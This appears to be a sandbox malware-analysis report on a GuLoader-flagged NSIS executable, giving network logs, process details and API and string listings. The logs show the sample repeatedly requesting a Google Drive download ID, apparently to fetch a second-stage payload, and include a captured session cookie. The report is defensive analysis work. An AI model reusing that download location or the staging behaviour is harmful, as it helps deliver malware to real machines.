2025-01-10 14:42:24 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:24 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4nuo1arNRxxiQC55hB1NzcuDfSD8UDe3S9dTlW8j5R6Gdi1jQAyzkVrk-Mop6oNefm0z6Pdmg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:24 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-a5LVedqfuwpODHyrq5z0iw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:42:24 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 36 33 6f 58 58 62 58 75 6e 6d 65 45 30 54 63 4c 32 35 63 7a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="d63oXXbXunmeE0TcL25czw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.11.30	49874	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:35 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:35 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:35 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-2vXkdF4kzKczslYUWKlxkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.11.30	49875	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:35 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:35 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6k0qJbpybAXqYyCf0ezdnFWV0CWUi4n0yG-PYQPrstJA6iqLg6KtntmasqeA84GlFKkhagD7k Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:35 GMT Content-Security-Policy: script-src 'nonce-9HhhzsHgOUWk4JWzL39fUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:42:35 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 67 5f 61 64 30 37 59 71 6f 74 53 4a 42 4b 4d 43 57 65 52 66 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2g_ad07YqotSJBKMCWeRfw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.11.30	49876	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:46 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:46 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:46 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-N7gEK1f70YLDExsxeiDGRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.11.30	49877	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:46 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:47 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC58u_3XKuC0ZZBM2lIoQ7wb5T41I4MX5c_QTselvv5riUlog_E0Clcn_IbHIjMLQUub Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:47 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-oTY0jEDcZh4FVqUyfkcK7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:42:47 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 46 51 6e 62 57 44 49 58 4b 74 66 51 71 56 36 70 39 74 31 67 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0FQnbWDIXKtfQqV6p9t1gQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Target ID:	1
Start time:	09:34:27
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\Ub46mg9pn4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ub46mg9pn4.exe"
Imagebase:	0x400000
File size:	576'400 bytes
MD5 hash:	E9B5B4A74AC96689518EB4593B7C23B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.119996620831.0000000005113000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:36:24
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\Ub46mg9pn4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ub46mg9pn4.exe"
Imagebase:	0x400000
File size:	576'400 bytes
MD5 hash:	E9B5B4A74AC96689518EB4593B7C23B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.123249655615.0000000003533000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	13.2%
Signature Coverage:	19.2%
Total number of Nodes:	1590
Total number of Limit Nodes:	36

Executed Functions

Function 00403489 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 412
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034AC
GetVersion.KERNEL32 ref: 004034B2
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004034E5
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403522
OleInitialize.OLE32(00000000), ref: 00403529
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403545
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 0040355A
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000000,?,00000006,00000008,0000000A), ref: 0040356D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000020,?,00000006,00000008,0000000A), ref: 00403594

Part of subcall function 0040678A: GetModuleHandleA.KERNEL32(?,00000020,?,004034FB,0000000A), ref: 0040679C
Part of subcall function 0040678A: GetProcAddress.KERNEL32(00000000,?), ref: 004067B7

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036CE
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036DF
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004036EB
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004036FF
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403707
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403718
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403720
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 00403734

Part of subcall function 004063B0: lstrcpynW.KERNEL32(?,?,00000400,0040355A,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063BD

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004037FF
ExitProcess.KERNEL32 ref: 00403820
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403833
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403842
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403859
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403875
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038CF
CopyFileW.KERNEL32(C:\Users\user\Desktop\Ub46mg9pn4.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038E3
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 00403910
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 0040393F
OpenProcessToken.ADVAPI32(00000000), ref: 00403946
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040395B
AdjustTokenPrivileges.ADVAPI32 ref: 0040397E
ExitWindowsEx.USER32(00000002,80040002), ref: 004039A3
ExitProcess.KERNEL32 ref: 004039C6

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet, xrefs: 004036B1, 004037D1, 0040387B, 00403885
SeShutdownPrivilege, xrefs: 00403955
UXTHEME, xrefs: 004034D9, 004034DE, 004034E4
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine, xrefs: 004037DC
Low, xrefs: 00403701
~nsu, xrefs: 0040382B
C:\Users\user\Desktop\Ub46mg9pn4.exe, xrefs: 004038DE
Error launching installer, xrefs: 004037B6
C:\Users\user\AppData\Local\Temp\, xrefs: 004036C3, 004036C8, 004036DE, 004036EA, 004036F9, 00403706, 00403712, 0040371A, 00403830, 00403841, 0040384C, 00403858, 00403865, 00403874, 00403925
TEMP, xrefs: 00403713
C:\Users\user\Desktop, xrefs: 00403852, 00403857, 00403884
"C:\Users\user\Desktop\Ub46mg9pn4.exe", xrefs: 00403560, 00403566, 0040375C
.tmp, xrefs: 00403847
1033, xrefs: 0040372F
TMP, xrefs: 0040371B
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034A0
\Temp, xrefs: 004036E5
NSIS Error, xrefs: 0040354B

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\Ub46mg9pn4.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine$C:\Users\user\Desktop$C:\Users\user\Desktop\Ub46mg9pn4.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-2611130281
Opcode ID: 0c5ed391fea6fa0d6bec001cb8bac7c1b86e8aed39806b07c52da4fce73069a4
Instruction ID: aa49a9b5ba718b736b7abce3970f6df4d0a927ceef10040f9259c4205047f8e0
Opcode Fuzzy Hash: 0c5ed391fea6fa0d6bec001cb8bac7c1b86e8aed39806b07c52da4fce73069a4
Instruction Fuzzy Hash: 3DD103B1600311ABD3206F759D45B3B3AACEB4070AF10443FF981B62D2DBBD8D558A6E

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
